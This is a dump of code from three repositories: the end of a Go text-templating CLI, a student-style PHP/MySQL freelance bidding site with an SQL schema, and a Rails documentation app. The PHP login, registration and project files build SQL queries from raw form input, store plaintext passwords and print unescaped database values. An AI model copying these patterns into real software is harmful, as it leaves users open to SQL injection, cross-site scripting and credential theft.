maxFileSize) if err != nil { return err } if err := dotenv.ParseInto(bytes.NewBuffer(buf), vars); err != nil { return err } } return nil } <file_sep>// Package fasttemplate implements simple and fast template library. // // Fasttemplate is faster than text/template, strings.Replace // and strings.Replacer. // // Fasttemplate ideally fits for fast and simple placeholders' substitutions. package template import ( "bytes" "fmt" "io" "strings" "github.com/lucasepe/tbd/pkg/internal/bytebufferpool" ) // ExecuteFunc calls f on each template tag (placeholder) occurrence. // // Returns the number of bytes written to w. // // This function is optimized for constantly changing templates. // Use Template.ExecuteFunc for frozen templates. func ExecuteFunc(template, startTag, endTag string, w io.Writer, f TagFunc) (int64, error) { s := unsafeString2Bytes(template) a := unsafeString2Bytes(startTag) b := unsafeString2Bytes(endTag) var nn int64 var ni int var err error for { n := bytes.Index(s, a) if n < 0 { break } ni, err = w.Write(s[:n]) nn += int64(ni) if err != nil { return nn, err } s = s[n+len(a):] n = bytes.Index(s, b) if n < 0 { // cannot find end tag - just write it to the output. ni, _ = w.Write(a) nn += int64(ni) break } tag := strings.TrimSpace(unsafeBytes2String(s[:n])) ni, err = f(w, tag) nn += int64(ni) if err != nil { return nn, err } s = s[n+len(b):] } ni, err = w.Write(s) nn += int64(ni) return nn, err } // Marks returns the list of all placeholders found in the specified template. func Marks(template, startTag, endTag string) ([]string, error) { list := []string{} _, err := ExecuteFunc(template, startTag, endTag, io.Discard, func(w io.Writer, tag string) (int, error) { return fetchTagFunc(tag, &list) }) return list, err } // Execute substitutes template tags (placeholders) with the corresponding // values from the map m and writes the result to the given writer w. // // Substitution map m may contain values with the following types: // * []byte - the fastest value type // * string - convenient value type // * TagFunc - flexible value type // // Returns the number of bytes written to w. // // This function is optimized for constantly changing templates. // Use Template.Execute for frozen templates. func Execute(template, startTag, endTag string, w io.Writer, m map[string]interface{}) (int64, error) { return ExecuteFunc(template, startTag, endTag, w, func(w io.Writer, tag string) (int, error) { return stdTagFunc(w, tag, m) }) } // ExecuteStd works the same way as Execute, but keeps the unknown placeholders. // This can be used as a drop-in replacement for strings.Replacer // // Substitution map m may contain values with the following types: // * []byte - the fastest value type // * string - convenient value type // * TagFunc - flexible value type // // Returns the number of bytes written to w. // // This function is optimized for constantly changing templates. // Use Template.ExecuteStd for frozen templates. func ExecuteStd(template, startTag, endTag string, w io.Writer, m map[string]interface{}) (int64, error) { return ExecuteFunc(template, startTag, endTag, w, func(w io.Writer, tag string) (int, error) { return keepUnknownTagFunc(w, startTag, endTag, tag, m) }) } // ExecuteFuncString calls f on each template tag (placeholder) occurrence // and substitutes it with the data written to TagFunc's w. // // Returns the resulting string that will be empty on error. func ExecuteFuncString(template, startTag, endTag string, f TagFunc) (string, error) { tagsCount := bytes.Count(unsafeString2Bytes(template), unsafeString2Bytes(startTag)) if tagsCount == 0 { return template, nil } var byteBufferPool bytebufferpool.Pool bb := byteBufferPool.Get() if _, err := ExecuteFunc(template, startTag, endTag, bb, f); err != nil { bb.Reset() byteBufferPool.Put(bb) return "", err } s := string(bb.B) bb.Reset() byteBufferPool.Put(bb) return s, nil } // ExecuteString substitutes template tags (placeholders) with the corresponding // values from the map m and returns the result. // // Substitution map m may contain values with the following types: // * []byte - the fastest value type // * string - convenient value type // * TagFunc - flexible value type // // This function is optimized for constantly changing templates. // Use Template.ExecuteString for frozen templates. func ExecuteString(template, startTag, endTag string, m map[string]interface{}) (string, error) { return ExecuteFuncString(template, startTag, endTag, func(w io.Writer, tag string) (int, error) { return stdTagFunc(w, tag, m) }) } // ExecuteStringStd works the same way as ExecuteString, but keeps the unknown placeholders. // This can be used as a drop-in replacement for strings.Replacer // // Substitution map m may contain values with the following types: // * []byte - the fastest value type // * string - convenient value type // * TagFunc - flexible value type // // This function is optimized for constantly changing templates. // Use Template.ExecuteStringStd for frozen templates. func ExecuteStringStd(template, startTag, endTag string, m map[string]interface{}) (string, error) { return ExecuteFuncString(template, startTag, endTag, func(w io.Writer, tag string) (int, error) { return keepUnknownTagFunc(w, startTag, endTag, tag, m) }) } // TagFunc can be used as a substitution value in the map passed to Execute*. // Execute* functions pass tag (placeholder) name in 'tag' argument. // // TagFunc must be safe to call from concurrently running goroutines. // // TagFunc must write contents to w and return the number of bytes written. type TagFunc func(w io.Writer, tag string) (int, error) func stdTagFunc(w io.Writer, tag string, m map[string]interface{}) (int, error) { v := m[tag] if v == nil { return 0, nil } switch value := v.(type) { case []byte: return w.Write(value) case string: return w.Write([]byte(value)) case TagFunc: return value(w, tag) default: return -1, fmt.Errorf("tag=%q contains unexpected value type=%#v. Expected []byte, string or TagFunc", tag, v) } } func keepUnknownTagFunc(w io.Writer, startTag, endTag, tag string, m map[string]interface{}) (int, error) { v, ok := m[tag] if !ok { if _, err := w.Write(unsafeString2Bytes(startTag)); err != nil { return 0, err } if _, err := w.Write(unsafeString2Bytes(tag)); err != nil { return 0, err } if _, err := w.Write(unsafeString2Bytes(endTag)); err != nil { return 0, err } return len(startTag) + len(tag) + len(endTag), nil } if v == nil { return 0, nil } switch value := v.(type) { case []byte: return w.Write(value) case string: return w.Write([]byte(value)) case TagFunc: return value(w, tag) default: return -1, fmt.Errorf("tag=%q contains unexpected value type=%#v. Expected []byte, string or TagFunc", tag, v) } } // fetchTagFunc accumulates all tags in the specified array. func fetchTagFunc(tag string, arr *[]string) (int, error) { *arr = append(*arr, tag) return 0, nil } <file_sep># `tbd` [![Go Report Card](https://goreportcard.com/badge/github.com/lucasepe/tbd?style=flat-square)](https://goreportcard.com/report/github.com/lucasepe/tbd) &nbsp;&nbsp;&nbsp; [![Release](https://img.shields.io/github/release/lucasepe/tbd.svg?style=flat-square)](https://github.com/lucasepe/tbd/releases/latest) &nbsp;&nbsp;&nbsp; [![codecov](https://codecov.io/gh/lucasepe/tbd/branch/main/graph/badge.svg?style=flat-square)](https://codecov.io/gh/lucasepe/tbd) _"to be defined"_ ## A really simple way to create text templates with placeholders. This tool is deliberately simple and trivial, no advanced features. > If you need advanced templates rendering which supports complex syntax and a huge list of datasources (JSON, YAML, AWS EC2 metadata, BoltDB, Hashicorp > Consul and Hashicorp Vault secrets), I recommend you use one of these: > > - [gotemplate](https://github.com/hairyhenderson/gomplate) > - [pongo2](https://github.com/flosch/pongo2) > - [quicktemplate](https://github.com/valyala/quicktemplate) ## Built-in Variables When executed inside a Git repository, `tbd` automatically exports some variables related to the Git repository which may be useful in the build phase. These variables are: `ARCH`, `OS`, `REPO_COMMIT`, `REPO_HOST`, `REPO_NAME`, `REPO_ROOT`, `REPO_TAG`, `REPO_TAG_CLEAN`, `REPO_URL`, `TIMESTAMP`. Try it! With `tbd` in your `PATH`, go in a Git folder and type: ```sh $ tbd vars +----------------+------------------------------------------+ | ARCH | amd64 | | OS | linux | | REPO_COMMIT | a3193274112d3a6f5c2a0277e2ca07ec238d622f | | REPO_HOST | github.com | | REPO_NAME | tbd | | REPO_ROOT | lucasepe | | REPO_TAG | v0.1.1 | | REPO_TAG_CLEAN | 0.1.1 | | REPO_URL | https://github.com/lucasepe/tbd | | TIMESTAMP | 2021-07-26T14:22:36Z | +----------------+------------------------------------------+ ``` > Obviously in your case the values ​​will be different. ## How does a template looks like ? A template is a text document in which you can insert placeholders for the text you want to make dynamic. - a placeholder is delimited by `{{` and `}}` - (i.e. `{{ FULL_NAME }}`) - all text outside placeholders is copied to the output unchanged Example: ```yaml apiVersion: v1 kind: Pod metadata: name: {{ metadata.name }} labels: app: {{ metadata.labels.app }} spec: containers: - name: {{ container.1.name }} image: {{ container.1.image }} ports: - containerPort: {{ container.1.port }} - name: {{ container.2.name }} image: {{ container.2.image }} ports: - containerPort: {{ container.2.port }} ``` Another example: ```txt {{ greeting }} I will be out of the office from {{ start.date }} until {{ return.date }}. If you need immediate assistance while I’m away, please email {{ contact.email }}. Best, {{ name }} ``` ## How can I define placeholders values? Create a text file in which you enter the values for the placeholders. - define a placeholder value using `KEY = value` (or `KEY: value`) - empty lines are skipped - lines beginning with `#` are treated as comments Example: ```sh # metadata values metadata.name = rss-site metadata.labels.app = web # containers values container.1.name = front-end container.1.image = nginx container.1.port = 80 container.2.name = rss-reader container.2.image: nickchase/rss-php-nginx:v1 container.2.port: 88 ``` Another example... ```sh greeting: Greetings start.date: August, 9 return.date: August 23 contact.email: <EMAIL> name: <NAME> ``` ## How fill in the template? > Use the `merge` command ```sh $ tbd merge /path/to/your/template /path/to/your/envfile ``` Example: ```sh $ tbd merge testdata/sample.tbd testdata/sample.vars ``` 👉 you can also specify an HTTP url to fetch your template and/or placeholders values. Example: ```sh $ tbd merge https://raw.githubusercontent.com/lucasepe/tbd/main/testdata/sample.tbd \ https://raw.githubusercontent.com/lucasepe/tbd/main/testdata/sample.vars ``` and the output is... ```txt Greetings I will be out of the office from August, 9 until August 23. If you need immediate assistance while I’m away, please email <EMAIL>. Best, <NAME> ``` ## How to list all template placeholders? > Use the `marks` command. ```sh $ tbd marks /path/to/your/template ``` Example: ```sh $ tbd marks testdata/sample.tbd greeting start.date return.date contact.email name ``` ## How to list all variables? > Use the `vars` command. ```sh $ tbd vars /path/to/your/envfile ``` Example: ```sh $ tbd vars testdata/sample.vars +----------------+------------------------------------------+ | Label | Value | +----------------+------------------------------------------+ | ARCH | amd64 | | OS | linux | | REPO_COMMIT | a3193274112d3a6f5c2a0277e2ca07ec238d622f | | REPO_HOST | github.com | | REPO_NAME | tbd | | REPO_ROOT | lucasepe | | REPO_TAG | v0.1.1 | | REPO_TAG_CLEAN | 0.1.1 | | REPO_URL | https://github.com/lucasepe/tbd | | TIMESTAMP | 2021-07-26T14:17:49Z | | contact.email | <EMAIL> | | greeting | Greetings | | name | <NAME> | | return.date | August 23 | | start.date | August, 9 | +----------------+------------------------------------------+ ``` > As you can see, since I ran the command in a Git repository, there are also relative variables. # How to install? If you have [golang](https://golang.org/dl/) installed: ```sh $ go install github.com/lucasepe/tbd@latest ``` This will create the executable under your `$GOPATH/bin` directory. ## Ready-To-Use Releases If you don't want to compile the sourcecode yourself, [here you can find the tool already compiled](https://github.com/lucasepe/tbd/releases/latest) for: - MacOS - Linux - Windows <br/> #### Credits Thanks to [@valyala](https://github.com/valyala/) for the [fasttemplate](https://github.com/valyala/fasttemplate) library - which I have modified by adding and removing some functions for the `tbd` purpose. <file_sep>package table import ( "errors" "regexp" "strconv" "strings" "github.com/mattn/go-runewidth" ) type cellAlignment int const ( ALIGN_LEFT cellAlignment = iota ALIGN_RIGHT ) type rowType int const ( ROW_LINE rowType = iota ROW_CELLS ) type cellUnit struct { content string alignment cellAlignment } type tableRow struct { cellUnits []*cellUnit kind rowType } type tableLine struct{} type TextTable struct { header []*tableRow rows []*tableRow width int maxWidths []int } func (t *TextTable) updateColumnWidth(rows []*tableRow) { for _, row := range rows { for i, unit := range row.cellUnits { width := stringWidth(unit.content) if t.maxWidths[i] < width { t.maxWidths[i] = width } } } } /* SetHeader adds header row from strings given */ func (t *TextTable) SetHeader(headers ...string) error { if len(headers) == 0 { return errors.New("no headers") } columnSize := len(headers) t.width = columnSize t.maxWidths = make([]int, columnSize) rows := stringsToTableRow(headers) t.updateColumnWidth(rows) t.header = rows return nil } /* AddRow adds column from strings given */ func (t *TextTable) AddRow(strs ...string) error { if len(strs) == 0 { return errors.New("no rows") } if len(strs) > t.width { return errors.New("row width should be less than header width") } padded := make([]string, t.width) copy(padded, strs) rows := stringsToTableRow(padded) t.rows = append(t.rows, rows...) t.updateColumnWidth(rows) return nil } /* AddRowLine adds row border */ func (t *TextTable) AddRowLine() error { rowLine := &tableRow{kind: ROW_LINE} t.rows = append(t.rows, rowLine) return nil } func (t *TextTable) borderString() string { borderString := "+" margin := 2 for _, width := range t.maxWidths { for i := 0; i < width+margin; i++ { borderString += "-" } borderString += "+" } return borderString } func stringsToTableRow(strs []string) []*tableRow { maxHeight := calcMaxHeight(strs) strLines := make([][]string, maxHeight) for i := 0; i < maxHeight; i++ { strLines[i] = make([]string, len(strs)) } alignments := make([]cellAlignment, len(strs)) for i := range strs { alignments[i] = ALIGN_LEFT // decideAlignment(str) } for i, str := range strs { divideds := strings.Split(str, "\n") for j, line := range divideds { strLines[j][i] = line } } rows := make([]*tableRow, maxHeight) for j := 0; j < maxHeight; j++ { row := new(tableRow) row.kind = ROW_CELLS for i := 0; i < len(strs); i++ { content := strLines[j][i] unit := &cellUnit{content: content} unit.alignment = alignments[i] row.cellUnits = append(row.cellUnits, unit) } rows[j] = row } return rows } var hexRegexp = regexp.MustCompile("^0x") func decideAlignment(str string) cellAlignment { // decimal/octal number _, err := strconv.ParseInt(str, 10, 64) if err == nil { return ALIGN_RIGHT } // hex number _, err = strconv.ParseInt(str, 16, 64) if err == nil { return ALIGN_RIGHT } if hexRegexp.MatchString(str) { tmp := str[2:] _, err := strconv.ParseInt(tmp, 16, 64) if err == nil { return ALIGN_RIGHT } } _, err = strconv.ParseFloat(str, 64) if err == nil { return ALIGN_RIGHT } return ALIGN_LEFT } func calcMaxHeight(strs []string) int { max := -1 for _, str := range strs { lines := strings.Split(str, "\n") height := len(lines) if height > max { max = height } } return max } func stringWidth(str string) int { return runewidth.StringWidth(str) } /* Draw constructs text table from receiver and returns it as string */ func (t *TextTable) Draw() string { drawedRows := make([]string, len(t.header)+len(t.rows)+3) index := 0 border := t.borderString() // top line drawedRows[index] = border index++ for _, row := range t.header { drawedRows[index] = t.generateRowString(row) index++ } drawedRows[index] = border index++ for _, row := range t.rows { var rowStr string if row.kind == ROW_CELLS { rowStr = t.generateRowString(row) } else { rowStr = border } drawedRows[index] = rowStr index++ } // bottom line if len(t.rows) != 0 { drawedRows[index] = border index++ } return strings.Join(drawedRows[:index], "\n") } func formatCellUnit(unit *cellUnit, maxWidth int) string { str := unit.content width := stringWidth(unit.content) padding := strings.Repeat(" ", maxWidth-width) var ret string if unit.alignment == ALIGN_RIGHT { ret = padding + str } else { ret = str + padding } return " " + ret + " " } func (t *TextTable) generateRowString(row *tableRow) string { separator := "|" str := separator for i, unit := range row.cellUnits { str += formatCellUnit(unit, t.maxWidths[i]) str += separator } return str }
0a81fbc553ccbe72dae765c4ad905e9d9d92fba3
[ "Markdown", "Go Module", "Go" ]
15
Go
ajunlonglive/tbd
6b34a435d25e91a791ae5af28a92aefcf5bd73f3
d2d9ae0eceb6caf8d4cd6b967cf48f1449a01a5c
refs/heads/master
<file_sep>test .asdasd sdfsdf sdfsdf sdfsdf dfgdfg sdfsdfsdfs sdfsdf1
589b50de67e875e7aaaa7ef64d70c573e29acf30
[ "JavaScript" ]
1
JavaScript
Delfx/test_VSCODE_3
08507cd4f63c69cfccb3185c78bc940d8bcc8c94
9c41f3e3d0918df1e072ca7836602a742ce2804c
refs/heads/master
<file_sep><?php $user='root'; $pass=''; $db='project'; $db=new mysqli('localhost',$user,$pass,$db) or die ("unable to connect"); $a=$_POST["email"]; $b=$_POST["name"]; $c=$_POST["country"]; $d=$_POST["password"]; $e=$_POST["dates"]; $sql = "INSERT INTO employee_register(email_id,name,country,password,dob) VALUES('$a','$b','$c','$d','$e')"; if ($db->query($sql)===TRUE) {header('location: thanks.html');} else {echo "Error connecting to DATABASE".$db->error;} $db->close(); ?> <file_sep><?php $user='root'; $pass=''; $db='project'; $db=new mysqli('localhost',$user,$pass,$db) or die ("unable to connect"); session_start(); $db->close(); ?> <html> <head> <link rel="stylesheet" type="text/css" href="style.css"> </head> <body> <div id="wrapper"> <center><a href="http://localhost/pine/work/first/first.html"><img src="Picture1.png" border="0px" height="200px" width="270px"></a><br></center> <div class="stand"> <div class="outer-screen"> <div class="inner-screen"> <div class="form"> <strong> <center><font size=4 color="white" face="Calibri Light">Details Of your Project</center></strong> <form method="post" action="takeproject.php"> <input type="text" class="zocial-dribbble" placeholder="Project id of Your Choice" name="prochoice" /> <input type="text" placeholder="Bid Amount" name="bid_amt" /> <input type="text" placeholder="Time of Submission" name="time" /> <input type="submit" value="Take Project" /> </form> </font> </div> </div> </div> </div> </div> </body> </html> <file_sep><?php $user='root'; $pass=''; $db='project'; $db=new mysqli('localhost',$user,$pass,$db) or die ("unable to connect"); session_start(); $a=$_POST["proname"]; $b=$_POST["description"]; $c=$_POST["maxbid"]; $d=$_POST["timesubmit"]; $f=$_SESSION['email_id']; $e=$_SESSION['name']; $sql = "INSERT INTO projects(project_name,project_description,max_bid,timesubmit,employer_name,employer_email) VALUES('$a','$b','$c','$d','$e','$f')"; if ($db->query($sql)===TRUE) {header('location: thanks2.html');} else {echo "Error connecting to DATABASE".$db->error;} $db->close(); ?> <file_sep><?php $user='root'; $pass=''; $db='project'; $db=new mysqli('localhost',$user,$pass,$db) or die ("unable to connect"); session_start(); $a=$_POST["prochoice"]; $b=$_POST["bid_amt"]; $c=$_POST["time"]; $f=$_SESSION['email_id']; $e=$_SESSION['name']; $d="SELECT employer_email FROM projects WHERE project_id='$a'"; $qwe = "INSERT INTO bid (proj_id, employee_email,employee_name,bid_amount,submit_time,employer_email) VALUES('$a','$f','$e','$b','$c','$d')"; if ($db->query($qwe)===TRUE) {header('location: thanks2.html');} else {echo "Error connecting to DATABASE".$db->error;} $db->close(); ?> <file_sep><html> <body> <?php $user='root'; $pass=''; $db='project'; $db=new mysqli('localhost',$user,$pass,$db) or die ("unable to connect"); if(isset($_POST["email"],$_POST["password"])) { $a=$_POST["email"]; $b=$_POST["password"]; $query="SELECT * FROM employer_register WHERE email_id = '$a' AND password = '$b'"; $result = mysqli_query($db, $query) or die(mysqli_error($db)); $count = mysqli_num_rows($result); if ($count == 1){ session_start(); $row=mysqli_fetch_assoc($result); $_SESSION['email_id'] = $a; $_SESSION['name'] = $row['name']; header("location:employermain.html"); exit(); } else{ header("location:login.php"); } } $db->close(); ?> </body> </html> <file_sep>-- phpMyAdmin SQL Dump -- version 4.5.1 -- http://www.phpmyadmin.net -- -- Host: 127.0.0.1 -- Generation Time: Dec 04, 2016 at 12:34 PM -- Server version: 10.1.16-MariaDB -- PHP Version: 5.5.38 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `project` -- -- -------------------------------------------------------- -- -- Table structure for table `bid` -- CREATE TABLE `bid` ( `bid_id` int(11) NOT NULL, `proj_id` int(11) NOT NULL, `employee_email` varchar(120) NOT NULL, `employee_name` varchar(120) NOT NULL, `bid_amount` int(11) NOT NULL, `submit_time` date NOT NULL, `employer_email` varchar(120) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Table structure for table `employee_register` -- CREATE TABLE `employee_register` ( `email_id` varchar(120) NOT NULL, `name` varchar(30) NOT NULL, `country` varchar(30) NOT NULL, `password` varchar(50) DEFAULT NULL, `dob` date DEFAULT NULL, `empid` int(6) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `employee_register` -- INSERT INTO `employee_register` (`email_id`, `name`, `country`, `password`, `dob`, `empid`) VALUES ('tul<EMAIL>', 'tulika', 'india', 'abcd', '1997-05-25', 5); -- -------------------------------------------------------- -- -- Table structure for table `employer_register` -- CREATE TABLE `employer_register` ( `email_id` varchar(120) DEFAULT NULL, `name` varchar(50) DEFAULT NULL, `country` varchar(30) DEFAULT NULL, `password` varchar(30) DEFAULT NULL, `empid` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `employer_register` -- INSERT INTO `employer_register` (`email_id`, `name`, `country`, `password`, `empid`) VALUES ('<EMAIL>', '<PASSWORD>', 'india', 'abcd', 1); -- -------------------------------------------------------- -- -- Table structure for table `projects` -- CREATE TABLE `projects` ( `project_id` int(11) NOT NULL, `project_name` varchar(100) NOT NULL, `project_description` varchar(8000) NOT NULL, `max_bid` int(11) NOT NULL, `timesubmit` date NOT NULL, `employer_name` varchar(50) NOT NULL, `employer_email` varchar(60) NOT NULL, `min_bid` int(11) NOT NULL, `min_date` date NOT NULL, `employee_assigned` varchar(40) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `projects` -- INSERT INTO `projects` (`project_id`, `project_name`, `project_description`, `max_bid`, `timesubmit`, `employer_name`, `employer_email`, `min_bid`, `min_date`, `employee_assigned`) VALUES (1, 'IOS', 'build an IOS app for your university Mess', 2300, '2016-12-22', 'pine', '<EMAIL>', 0, '0000-00-00', ''), (3, 'java', 'game using java', 5000, '2017-05-05', 'pine', '<EMAIL>', 0, '0000-00-00', ''); -- -- Indexes for dumped tables -- -- -- Indexes for table `bid` -- ALTER TABLE `bid` ADD PRIMARY KEY (`bid_id`); -- -- Indexes for table `employee_register` -- ALTER TABLE `employee_register` ADD PRIMARY KEY (`empid`); -- -- Indexes for table `employer_register` -- ALTER TABLE `employer_register` ADD PRIMARY KEY (`empid`); -- -- Indexes for table `projects` -- ALTER TABLE `projects` ADD PRIMARY KEY (`project_id`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `bid` -- ALTER TABLE `bid` MODIFY `bid_id` int(11) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `employee_register` -- ALTER TABLE `employee_register` MODIFY `empid` int(6) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6; -- -- AUTO_INCREMENT for table `employer_register` -- ALTER TABLE `employer_register` MODIFY `empid` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; -- -- AUTO_INCREMENT for table `projects` -- ALTER TABLE `projects` MODIFY `project_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep><html> <head> <style> .button { background-color: #4CAF50; /* Green */ border: none; color: white; padding: 16px 32px; text-align: center; text-decoration: none; display: inline-block; font-size: 16px; margin: 4px 2px; -webkit-transition-duration: 0.4s; /* Safari */ transition-duration: 0.4s; cursor: pointer; } .button1 { background-color: white; color: black; border: 2px solid #4CAF50; } .button1:hover { background-color: #4CAF50; color: white; } .button2 { background-color: white; color: black; border: 2px solid #008CBA; } .button2:hover { background-color: #008CBA; color: white; } .button3 { background-color: white; color: black; border: 2px solid #f44336; } .button3:hover { background-color: #f44336; color: white; } .button4 { background-color: white; color: black; border: 2px solid #e7e7e7; } .button4:hover {background-color: #e7e7e7;} .button5 { background-color: white; color: black; border: 2px solid #555555; } .button5:hover { background-color: #555555; color: white; #wrapper { width: 500px; margin: 0 auto; } </style> </head> <body background="back.jpg" style="background-size:cover" text="white" alink="black" vlink="black" link="black"> <?php echo "<br><br><br><br><br><br><br><br><center><font size=6 color='white' face='Calibri Light'>Logged out scuccessfully<br><br><button class='button button1'><font size=5 color='black' face='Calibri Light'><a href='http://localhost/pine/work/first/first.html' target='_top'>Go Home</a></font></button>"; session_start(); session_destroy(); session_regenerate_id(true); ?> </body> </html> <file_sep><html> <body bgcolor="white" alink="white" vlink="white" link="white"> <style> a { text-decoration: none ; } a:hover { color:white; text-decoration:none; cursor:pointer; } th, td { padding: 15px; text-align: left; border-bottom: 1px solid #ddd; } tr:hover {background-color: #f5f5f5} th { background-color: #4CAF50; color: white; } </style> <div style="overflow-x:auto;"> <?php $user='root'; $pass=''; $db='project'; $db=new mysqli('localhost',$user,$pass,$db) or die ("unable to connect"); $query = "SELECT * FROM projects"; $result = mysqli_query($db,$query); echo "<table border=0 style='width:100%'><tr><th>Project ID</th><th>Project Name</th><th>Description</th><th>Maximum Bid</th><th>Submission Time</th><th>Employer</th><th>Employer Email</th></tr>"; // start a table tag in the HTML while($row = mysqli_fetch_array($result)){ echo "<tr><td>" . $row['project_id'] . "</td><td>" . $row['project_name'] . "</td><td>" . $row['project_description'] . "</td><td>" . $row['max_bid'] . "</td><td>" . $row['timesubmit'] . "</td><td>" . $row['employer_name'] . "</td><td>" . $row['employer_email'] . "</td></tr>"; } echo "</table>"; $db->close(); ?> </div> </body> </html> <file_sep><html> <body background="profileback.jpg" alink="white" vlink="white" link="white"> <style> a { text-decoration: none ; } a:hover { color:white; text-decoration:none; cursor:pointer; } </style> <?php $user='root'; $pass=''; $db='project'; $db=new mysqli('localhost',$user,$pass,$db) or die ("unable to connect"); session_start(); $abc=$_SESSION['email_id']; $sql = " SELECT name FROM employee_register WHERE email_id ='$abc' "; $result = mysqli_query($db,$sql); $row = mysqli_fetch_array($result); $x=$row['name']; ?> <img align="left" src="profileicon.png" height=60 width=60 style='position:absolute ; top:20px'><font color="white" size="6" face="Calibri Light"> <?php echo "<div style='position:absolute ; left:80px; top:30px'>"; echo "Hello ".$x; echo "</div>"; $db->close(); ?> <img src="Picture1.png" height="77" width="97" align="middle" style="position:absolute ; right:650px"> <?php if($_SESSION['email_id']) { echo "<a href='logout.php' target='_top' style='position:absolute ; right:10px ; top:30px'>LOGOUT</a>"; } else { header("location:login.php"); } ?> </font> </body> </html> <file_sep><?php $user='root'; $pass=''; $db='project'; $db=new mysqli('localhost',$user,$pass,$db) or die ("unable to connect"); session_start(); $db->close(); ?> <html> <body background="back.jpg" style="background-size:cover" link="white" alink="white" vlink="white"> <center> <img src="Picture1.png" height=200 width=270><br><br> <iframe src="lookprojects.php" height="390" width="900"></iframe> <br> <font size=5 color="white" face="Calibri Light"> <a href="takeprojectform.php">TAKE A PROJECT</a> &nbsp&nbsp&nbsp&nbsp&nbsp <a href="employeemain.html">QUIT SEARCH</a> </font> </center> </body> </html> <file_sep><html> <head> <link rel="stylesheet" type="text/css" href="styl.css"> </head> <body> <div id="wrapper"> <center><a href="http://localhost/pine/work/first/first.html"><img src="Picture1.png" border="0px" height="200px" width="270px"></a><br></center> <div class="stand"> <div class="outer-screen"> <div class="inner-screen"> <div class="form"> <strong> <center><font size=4 color="white" face="Calibri Light">Login And Start Hiring!</center></strong> <form method="post" action="validate.php"> <input type="text" class="zocial-dribbble" placeholder="Enter your email" name="email" /> <input type="<PASSWORD>" placeholder="<PASSWORD>" name="<PASSWORD>"/> <input type="submit" value="Login" /><b><br><center><?php session_start(); if(empty($_SESSION['email_id'])) { echo 'LOGIN PENDING. ENTER CORRECT USERNAME AND PASSWORD' ; } ?> </center></b><br> </form> <a href="http://localhost/pine/work/employerregister/register.html"><font color="white" size=4>New? Register With Us!</a></font></font> </div> </div> </div> </div> </div> </body> </html>
7055468f4f4346ea40c5c2657bf8e3303287ac72
[ "SQL", "PHP" ]
11
PHP
codex-hammer/Work
44a7043b33842550db0632c38afaae2c41f2671b
6e736da4992f74b05edd19a38f18d0a69388b8dd
refs/heads/master
<file_sep>class Docs::IndexController < Docs::BaseController def home if request.xhr? render layout: false end end def install if request.xhr? render layout: false end end def gem_install if request.xhr? render layout: false end end def grid if request.xhr? render layout: false end end def typography if request.xhr? render layout: false end end def buttons if request.xhr? render layout: false end end def forms if request.xhr? render layout: false end end def navigation if request.xhr? render layout: false end end def tabs if request.xhr? render layout: false end end def elements if request.xhr? render layout: false end end def orbit if request.xhr? render layout: false end end def reveal if request.xhr? render layout: false end end def javascripts if request.xhr? render layout: false end end def support if request.xhr? render layout: false end end end <file_sep>class Docs::BaseController < ApplicationController layout "docs/application" end<file_sep>require 'test_helper' class CaseStudies::IndexHelperTest < ActionView::TestCase end <file_sep>require 'test_helper' class CaseStudies::IndexControllerTest < ActionController::TestCase test "should get swizzle" do get :swizzle assert_response :success end end <file_sep>module Docs::IndexHelper end <file_sep>class IndexController < ApplicationController def home end def download end def whats_new end end <file_sep>module Example::PrototypeHelper end <file_sep>module ApplicationHelper def code_block(language=nil, &block) content = escape_once(capture(&block)).gsub(/^\n/,"") content_tag :pre do content_tag(:code, :class => language) do content.html_safe end end end end <file_sep>require 'test_helper' class Example::GridHelperTest < ActionView::TestCase end <file_sep>class CaseStudies::BaseController < ApplicationController end<file_sep>class CaseStudies::IndexController < CaseStudies::BaseController def swizzle if request.xhr? render layout: false end end def flite if request.xhr? render layout: false end end def soapbox if request.xhr? render layout: false end end def reel if request.xhr? render layout: false end end def zurbjobs if request.xhr? render layout: false end end def wcb if request.xhr? render layout: false end end end <file_sep>FoundationDocs::Application.routes.draw do root to: "index#home" get "download" => "index#download" get "whats-new" => "index#whats_new", as: :whats_new get "migration" => "index#migration" get "about" => "index#about", as: :about namespace :docs do root to: "index#home" get "installing" => "index#install", as: :install get "gem-install" => "index#gem_install", as: :gem_install get "grid" => "index#grid" get "typography" => "index#typography" get "buttons" => "index#buttons" get "forms" => "index#forms" get "navigation" => "index#navigation" get "tabs" => "index#tabs" get "elements" => "index#elements" get "orbit" => "index#orbit" get "reveal" => "index#reveal" get "javascripts" => "index#javascripts" get "support" => "index#support" end namespace :features do root to: "index#grid" get "grid" => "index#grid" get "prototyping" => "index#prototyping" get "mobile" => "index#mobile" end namespace :examples do get "mobile/:id" => "mobile#show", as: :mobile get "grid/:id" => "grid#show", as: :grid get "prototype/:id" => "prototype#show", as: :prototype end namespace :case_studies do root to: "index#swizzle" get "flite" => "index#flite" get "swizzle" => "index#swizzle" get "soapbox" => "index#soapbox" get "reel" => "index#reel" get "zurbjobs" => "index#zurbjobs" get "wcb" => "index#wcb" end # SETUP REDIRECTS FOR OLD PHP ACTIONS HERE end<file_sep>module Examples::MobileHelper end <file_sep>class Features::IndexController < Features::BaseController def grid if request.xhr? render layout: false end end def prototyping if request.xhr? render layout: false end end def mobile if request.xhr? render layout: false end end end 